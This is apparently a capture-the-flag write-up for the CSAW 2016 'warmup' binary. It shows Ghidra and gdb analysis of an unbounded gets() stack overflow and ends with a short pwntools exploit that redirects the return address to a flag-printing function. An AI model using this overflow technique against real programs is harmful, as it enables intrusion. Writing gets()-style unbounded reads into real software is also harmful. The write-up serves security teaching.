CSAW 2016 Warmup

Downloading the binary file:


[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw16_warmup/warmup
--2021-02-27 11:02:37--  https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw16_warmup/warmup
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw16_warmup/warmup [following]
--2021-02-27 11:02:38--  https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw16_warmup/warmup
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.109.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8705 (8.5K) [application/octet-stream]
Saving to: ‘warmup’

warmup                                                                          100%[=======================================================================================================================================================================================================>]   8.50K  --.-KB/s    in 0.001s

2021-02-27 11:02:38 (7.11 MB/s) - ‘warmup’ saved [8705/8705]


[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped

[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ chmod +x warmup

Solution

first of all let's see what we get when we run the binary file:


[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ ./warmup
-Warm Up-
WOW:0x40060d
>something

[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ ./warmup
-Warm Up-
WOW:0x40060d
>something2

First there is some text getting displayed, we get an address '0x40060d', then we get prompted for text input and nothing after that. So let's check what the binary file looks like in ghidra:


void main(void)

{
  char local_88 [64];
  char local_48 [64];
  
  write(1,"-Warm Up-\n",10);
  write(1,&DAT_0040074c,4);
  sprintf(local_88,"%p\n",easy);
  write(1,local_88,9);
  write(1,&DAT_00400755,1);
  gets(local_48);
  return;
}

Here we see the main function disassembled code, which is rather simplistic, we also see that our input text gets put into the local_48 variable at -0x48 on the stack:


                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined main()
             undefined         AL:1           
             undefined1        Stack[-0x48]:1 local_48                                XREF[1]:     00400692(*)  
             undefined1        Stack[-0x88]:1 local_88                                XREF[2]:     0040064d(*), 
                                                                                                   00400668(*)  
                             main                                            XREF[5]:     Entry Point(*), 
                                                                                          _start:0040053d(*), 
                                                                                          _start:0040053d(*), 0040077c, 
                                                                                          00400830(*)  
        0040061d 55              PUSH       RBP

However most importantly, we see that the address being printed is the address of the function called 'easy' at 0x40060d

this function is supposed to print the contents of flag.txt for us. Now before that, in the main function we see that our local_48 input text variable gets passed through a 'gets' function, this is a bug because it does not limit how much data it scans in. We also see the following:



void main(void)

{
  char local_88 [64];
  char local_48 [64];

our local input variable (local_48) can only hold 64 bytes of data, after we write those 64 bytes of data, we overflow the buffer and start overwriting other things in memory. With this bug we can reach the return address (the address after the ret call) and with this we want to make use of the 'easy function to print us the flag. so let's use gdb to see how much data we need to send BEFORE overwriting the return address:


[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ gdb warmup

GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
    .

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
Reading symbols from warmup...
(No debugging symbols found in warmup)
gef➤
gef➤  disas main
Dump of assembler code for function main:
   0x000000000040061d <+0>:     push   rbp
   0x000000000040061e <+1>:     mov    rbp,rsp
   0x0000000000400621 <+4>:     add    rsp,0xffffffffffffff80
   0x0000000000400625 <+8>:     mov    edx,0xa
   0x000000000040062a <+13>:    mov    esi,0x400741
   0x000000000040062f <+18>:    mov    edi,0x1
   0x0000000000400634 <+23>:    call   0x4004c0 
   0x0000000000400639 <+28>:    mov    edx,0x4
   0x000000000040063e <+33>:    mov    esi,0x40074c
   0x0000000000400643 <+38>:    mov    edi,0x1
   0x0000000000400648 <+43>:    call   0x4004c0 
   0x000000000040064d <+48>:    lea    rax,[rbp-0x80]
   0x0000000000400651 <+52>:    mov    edx,0x40060d
   0x0000000000400656 <+57>:    mov    esi,0x400751
   0x000000000040065b <+62>:    mov    rdi,rax
   0x000000000040065e <+65>:    mov    eax,0x0
   0x0000000000400663 <+70>:    call   0x400510 
   0x0000000000400668 <+75>:    lea    rax,[rbp-0x80]
   0x000000000040066c <+79>:    mov    edx,0x9
   0x0000000000400671 <+84>:    mov    rsi,rax
   0x0000000000400674 <+87>:    mov    edi,0x1
   0x0000000000400679 <+92>:    call   0x4004c0 
   0x000000000040067e <+97>:    mov    edx,0x1
   0x0000000000400683 <+102>:   mov    esi,0x400755
   0x0000000000400688 <+107>:   mov    edi,0x1
   0x000000000040068d <+112>:   call   0x4004c0 
   0x0000000000400692 <+117>:   lea    rax,[rbp-0x40]
   0x0000000000400696 <+121>:   mov    rdi,rax
   0x0000000000400699 <+124>:   mov    eax,0x0
   0x000000000040069e <+129>:   call   0x400500 
   0x00000000004006a3 <+134>:   leave
   0x00000000004006a4 <+135>:   ret
gef➤  b *main +134
Breakpoint 1 at 0x4006a3

here we want the first breakpoint right before the return call at +134, then we run the binary:


gef➤  r
Starting program: /home/nothing/binexp/2/warmup/warmup
-Warm Up-
WOW:0x40060d
>13371337

Breakpoint 1, 0x00000000004006a3 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffe0b0  →  "13371337"
$rbx   : 0x0
$rcx   : 0x00007ffff7fac980  →  0x00000000fbad2288
$rdx   : 0x0
$rsp   : 0x00007fffffffe070  →  "0x40060d\n"
$rbp   : 0x00007fffffffe0f0  →  0x00000000004006b0  →  <__libc_csu_init+0> push r15
$rsi   : 0x31373333
$rdi   : 0x00007ffff7faf680  →  0x0000000000000000
$rip   : 0x00000000004006a3  →   leave
$r8    : 0x00007fffffffe0b0  →  "13371337"
$r9    : 0x0
$r10   : 0x6e
$r11   : 0x246
$r12   : 0x0000000000400520  →  <_start+0> xor ebp, ebp
$r13   : 0x0
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe070│+0x0000: "0x40060d\n"         ← $rsp
0x00007fffffffe078│+0x0008: 0x000000000000000a
0x00007fffffffe080│+0x0010: 0x0000000000000000
0x00007fffffffe088│+0x0018: 0x0000000000000000
0x00007fffffffe090│+0x0020: 0x0000000000000000
0x00007fffffffe098│+0x0028: 0x0000000000000000
0x00007fffffffe0a0│+0x0030: 0x0000000000000000
0x00007fffffffe0a8│+0x0038: 0x00000000000000c2
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400694        rex.RB ror BYTE PTR [r8-0x77], 0xc7
     0x400699        mov    eax, 0x0
     0x40069e        call   0x400500 
 →   0x4006a3        leave
     0x4006a4        ret
     0x4006a5                  nop    WORD PTR cs:[rax+rax*1+0x0]
     0x4006af                  nop
     0x4006b0 <__libc_csu_init+0> push   r15
     0x4006b2 <__libc_csu_init+2> mov    r15d, edi
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "warmup", stopped 0x4006a3 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a3 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

We gave it a simple pattern '13371337' so now we search for that pattern:


gef➤  search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
  0x6022a0 - 0x6022aa  →   "13371337\n"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffe0b0 - 0x7fffffffe0b8  →   "13371337"

gef➤  i f
Stack level 0, frame at 0x7fffffffe100:
 rip = 0x4006a3 in main; saved rip = 0x7ffff7e14d0a
 Arglist at 0x7fffffffe0f0, args:
 Locals at 0x7fffffffe0f0, Previous frame's sp is 0x7fffffffe100
 Saved registers:
  rbp at 0x7fffffffe0f0, rip at  0x7fffffffe0f8

Now let's calculate the offset:


>>> hex(0x7fffffffe0f8 - 0x7fffffffe0b0)
'0x48'

So now we know that after 0x48 bytes of input, we start overwriting the return address, so we can write the following exploit:


[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ vim exploit.py


from pwn import *

target = process('./warmup')

# Make the payload
payload =  b""
payload += b"0"*0x48 # Overflow the buffer up to the return address
payload += p64(0x40060d) # Overwrite the return address with the address of the `easy` function

# Send the payload
target.sendline(payload)

target.interactive()

Then run it:


[ 192.168.100.126/24 ] [ /dev/pts/3 ] [binexp/2/warmup]
→ python3 exploit.py
[+] Starting local process './warmup': pid 78458
[*] Switching to interactive mode
-Warm Up-
WOW:0x40060d
>flag{g0ttem_b0yz}
[*] Got EOF while reading in interactive
$ exit
[*] Process './warmup' stopped with exit code -11 (SIGSEGV) (pid 78458)
[*] Got EOF while sending in interactive

and we got the flag !

Title

text


Title

text